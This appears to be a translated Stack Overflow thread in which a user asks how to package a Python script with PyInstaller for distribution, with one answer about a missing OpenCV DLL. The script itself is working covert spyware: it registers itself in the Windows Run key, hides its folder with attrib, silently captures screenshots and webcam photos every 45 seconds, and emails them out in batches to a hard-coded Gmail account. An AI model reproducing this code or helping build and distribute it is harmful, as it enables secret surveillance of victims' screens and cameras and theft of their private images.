使我的 python 脚本可执行,以便任何人都可以在任何 Windows 系统中使用?
Posted
技术标签:
【中文标题】使我的 python 脚本可执行,以便任何人都可以在任何 Windows 系统中使用?【英文标题】:Make my python script executable so that anyone can use in any windows system? 【发布时间】:2018-09-06 04:09:33 【问题描述】:我编写了一个 python 脚本,它截取我的屏幕截图并从我的网络摄像头拍摄照片并将其发送到我的电子邮件。经过一番努力,我完成了我的剧本。我发现编写脚本比为任何用户分发我的脚本要容易得多。我尝试了几次用 Pyinstaller 编译我的脚本,但都没有成功。到目前为止,我已经发现如果我希望我的脚本使用 pyinstaller 编译,我应该调整 .spec 文件。但据我所知,调整 .spec 文件 是为了提供额外的资源,如 图标图像、程序中使用的图像。
但是我没有任何这样的额外资源,但是当我的程序运行时,它会在 root 文件夹中创建两个文件夹 is_internet 和 no_internet,如果有互联网连接,那么程序从网络摄像头和屏幕截图中拍照并将其发送到我的电子邮件并删除这两个文件。如果没有互联网,那么我的程序会将图像保存到 no_internet 文件夹,其中还有另外两个文件夹即 Screenshot 和 Webcam,其中截取的屏幕截图存储在 screenshot 文件夹中,来自网络摄像头的图像存储在网络摄像头中文件夹。只要有互联网,我的脚本就会将这些保存的图像发送到我的电子邮件(一次 100 张图像),并删除那些发送的图像。
我使用了 pyinstaller -F -w Spyder.py 但后来如果我想在一个文件模式下编译,那么我开始知道在我的脚本顶部使用另一个函数。函数如下:
def resource_path(relative_path):
try:
base_path = sys._MEIPASS
except Exception:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)
但我不知道在我的脚本中哪里调用这个函数。
我的 .spec 文件在运行时如下所示:- pyi-makespec --onefile --windowed --noupx Spyder.py:
# -*- mode: python -*-
block_cipher = None
a = Analysis(['Spyder.py'],
pathex=['C:\\Users\\6292s\\Desktop\\PP\\Setup_File\\Open CV -no console'],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher)
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name='Spyder',
debug=False,
strip=False,
upx=False,
runtime_tmpdir=None,
console=False )
我的脚本
import os
import cv2
import time
import string
import random
import smtplib
import _winreg
import requests
import pyautogui
import subprocess
from email import Encoders
from email.MIMEBase import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
fromadd = 'fromadd@gmail.com'
toadd = 'toadd@gmail.com'
password = 'Password'
# no idea where to call this function in my script.
def resource_path(relative_path):
try:
base_path = sys._MEIPASS
except Exception:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)
def is_at_startup():
areg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
try:
akey = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spyder.exe', 0, _winreg.KEY_WRITE)
areg.Close()
akey.Close()
except WindowsError:
key = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_SET_VALUE)
_winreg.SetValueEx(key, 'Spyder', 0, _winreg.REG_SZ, 'C:\Program Files (x86)\Spyder\Spyder.exe')
areg.Close()
key.Close()
def naming():
global name
global clock
global webcam_name
global screenshot_name
name = ''
for i in range(20):
x = random.randint(0, 61)
name += string.printable[x]
clock = time.ctime().replace(':', '-')
screenshot_name = clock + ' _Screenshot_ ' + name + '.jpg'
webcam_name = clock + ' _Webcam_ ' + name + '.jpg'
def make_folder():
if os.path.exists(os.path.join('C:' + os.sep, 'root')) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')) and os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) and os.path.exists(os.path.join(r'C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
if os.path.exists(os.path.join('C:' + os.sep, 'root')):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
pass
if os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
pass
if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
pass
if not os.path.exists(os.path.join('C:' + os.sep, 'root')):
os.mkdir(os.path.join('C:' + os.sep, 'root'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
if not os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
def is_internet():
try:
requests.get("http://www.google.com")
return True
except requests.ConnectionError:
return False
def login():
global msg
sessions = smtplib.SMTP('smtp.gmail.com', '587')
sessions.ehlo()
sessions.starttls()
sessions.ehlo()
sessions.login(fromadd, password)
sessions.sendmail(fromadd, toadd, msg.as_string())
sessions.quit()
msg = MIMEMultipart()
def capturing():
os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_name)
cam = cv2.VideoCapture(0)
ret, frame = cam.read()
cv2.imwrite(webcam_name, frame)
cam.release()
cv2.destroyAllWindows()
def no_internet_screenshot():
os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_name)
def no_internet_webcam():
os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
cam = cv2.VideoCapture(0)
ret, frame = cam.read()
cv2.imwrite(webcam_name, frame)
cam.release()
cv2.destroyAllWindows()
def send_mail(fromadd, toadd):
global msg
msg = MIMEMultipart()
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = '-- Screenshot & Webcam - Internet Connection'
screenshot_data = open(screenshot_name, 'rb').read()
webcam_data = open(webcam_name, 'rb').read()
send_screenshot = MIMEImage(screenshot_data, name=os.path.basename(screenshot_name))
send_webcam_pic = MIMEImage(webcam_data, name=os.path.basename(webcam_name))
msg.attach(send_screenshot)
msg.attach(send_webcam_pic)
if is_internet():
login()
for f in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
os.remove(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet', f))
def no_internet_sending_screenshot(fromadd, toadd):
global msg
msg = MIMEMultipart()
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = '-- Screenshot - No Internet'
screenshot_path = []
del_path = []
screenshot_num = 0
for screenshot_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Screenshot' + os.sep, screenshot_image)
screenshot_path.append(abs_path)
while len(screenshot_path) > 0:
if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')) > 0:
for screenshot_img in screenshot_path:
if len(screenshot_path) > 100:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(screenshot_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename='.format(os.path.basename(screenshot_img)))
msg.attach(part)
del_path.append(screenshot_img)
screenshot_num += 1
if screenshot_num == 100:
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
screenshot_path.remove(dlt)
os.remove(dlt)
del_path = []
screenshot_num = 0
else:
for screenshot_img in screenshot_path:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(screenshot_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename='.format(os.path.basename(screenshot_img)))
msg.attach(part)
del_path.append(screenshot_img)
screenshot_num += 1
if screenshot_num == len(screenshot_path):
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
screenshot_path.remove(dlt)
os.remove(dlt)
del_path = []
else:
break
def no_internet_sending_webcam(fromadd, toadd):
global msg
msg = MIMEMultipart()
msg['From'] = fromadd
msg['To'] = toadd
msg['Subject'] = '-- Webcam pic - No Internet'
webcam_path = []
del_path = []
webcam_num = 0
for webcam_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Webcam' + os.sep, webcam_image)
webcam_path.append(abs_path)
while len(webcam_path) > 0:
if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) > 0:
for webcam_img in webcam_path:
if len(webcam_path) > 100:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(webcam_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename='.format(os.path.basename(webcam_img)))
msg.attach(part)
del_path.append(webcam_img)
webcam_num += 1
if webcam_num == 100:
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
webcam_path.remove(dlt)
os.remove(dlt)
del_path = []
webcam_num = 0
else:
for webcam_img in webcam_path:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(webcam_img, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename='.format(os.path.basename(webcam_img)))
msg.attach(part)
del_path.append(webcam_img)
webcam_num += 1
if webcam_num == len(webcam_path):
login()
capturing()
send_mail(fromadd, toadd)
for dlt in del_path:
webcam_path.remove(dlt)
os.remove(dlt)
del_path = []
else:
break
def main():
is_at_startup()
make_folder()
while True:
naming()
if is_internet():
no_internet_sending_screenshot(fromadd, toadd)
no_internet_sending_webcam(fromadd, toadd)
capturing()
send_mail(fromadd, toadd)
time.sleep(45)
else:
no_internet_screenshot()
no_internet_webcam()
time.sleep(45)
if __name__ == '__main__':
main()
当我使用上面的 .spec 文件创建一个可执行文件时,pyinstaller 编译我的文件没有错误。但是当我将可执行文件运行到另一台没有安装 python 或 pyinstaller 的机器上时,它总是给我 Fatal Error Failed to execute Spyder
我正在使用:
-
Python:2.7.15
Pyinstaller:3.3.1
我的脚本中使用的模块:
os, cv2 (3.4.2.17), time, string, random, smtplib, _winreg, requests (2.19.1), pyautogui (0.9.38), subprocess, email
我是否必须在 .spec 文件中包含我的工作文件夹(名为 root)? 或者 应该在我的 .spec 文件中添加任何内容吗?
我已经多次问同一个问题,但我的问题还没有解决。所以请帮我解决我的问题。
【问题讨论】:
【参考方案1】:我有同样的错误。由于您的可执行路径中缺少 opencv_ffmpeg341.dll 而导致的致命错误。
我通过将 opencv_ffmpeg341.dll 从 C:\\Lib\site-packages\cv2 复制到可执行文件所在的同一路径来解决了这个问题。
希望这能解决您的问题。
【讨论】:
以上是关于使我的 python 脚本可执行,以便任何人都可以在任何 Windows 系统中使用?的主要内容,如果未能解决你的问题,请参考以下文章
如何使 Python 脚本独立可执行以在没有任何依赖项的情况下运行? [复制]